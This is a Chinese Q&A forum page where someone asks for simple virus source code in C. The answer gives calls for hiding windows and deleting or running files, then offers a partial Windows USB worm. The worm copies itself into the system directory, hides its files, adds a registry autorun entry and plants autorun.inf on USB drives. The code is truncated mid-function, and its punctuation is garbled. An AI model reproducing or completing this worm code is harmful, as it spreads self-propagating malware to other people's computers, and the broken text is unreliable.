求幾個C語言簡單病毒原始碼

  • 作者:由 匿名使用者 發表于 歷史
  • 2022-03-10

求幾個C語言簡單病毒原始碼 匿名使用者 1級 2013-07-29 回答

去這裡看看吧,很全的。 我這裡也給你提供一些編病毒的語句 隱藏視窗:ShowWindow(false); (#include ) 將程式暫停一秒後繼續執行:sleep(1000); (同上) 刪除檔案:system(“del 檔案的路徑”); 執行檔案:system(“檔案的路徑”); system函式(#include ) 複製檔案:詳見remove函式(#include ) ——————————————————————————————- 一個不錯的病毒完整原始碼 #include #include #include #include #include #pragma comment(lib,“shlwapi。lib”) #define TIMER 1//計時器 //function LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//視窗過程 //獲取碟符 TCHAR FirstDriveFromMask (ULONG unitmask); //病毒從隨身碟啟動時用到的函式 BOOL FileExist(TCHAR *path);//測試一個檔案是否存在 BOOL GetSelfPath(TCHAR *path);//Get the virus‘s path //BOOL FindU(TCHAR *u);//check whether u exist, u[2] BOOL GetSysPath(TCHAR *path);//得到系統路徑 BOOL CopyToSysAndSet(HWND hwnd);//複製自身到系統目錄和設定 BOOL SetFileAttrib(TCHAR *path);//設定path所指檔案的屬性 BOOL RegAutoRun(TCHAR *path);//修改登錄檔,實現自啟動 //從C盤啟動時用到函式 BOOL CopyToUAndSet();//複製自己到隨身碟 BOOL CreateAutoRunFile(TCHAR *path);//在隨身碟下生成autorun。inf檔案 BOOL FindSelf();//測試自己是否在已經執行了 //global variable TCHAR szExePath[MAX_PATH];//the virus’s path TCHAR U[2];//儲存隨身碟的碟符 TCHAR szSysPath[MAX_PATH];//system path //constant const TCHAR *szExeName=“bbbbb。exe”; const TCHAR *szSysName=“aaaaa。exe”; const TCHAR *szAutoRunFile=“AutoRun。inf”; int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow) { static TCHAR szAppName[]=TEXT (“UUUUUU”); HWND hwnd; MSG msg; WNDCLASS wndclass; wndclass。style =0; wndclass。lpfnWndProc =WndProc; wndclass。cbClsExtra =0; wndclass。cbWndExtra =0; wndclass。hInstance =hInstance; wndclass。hIcon =0; wndclass。hCursor =0; wndclass。hbrBackground =0; wndclass。lpszMen

Top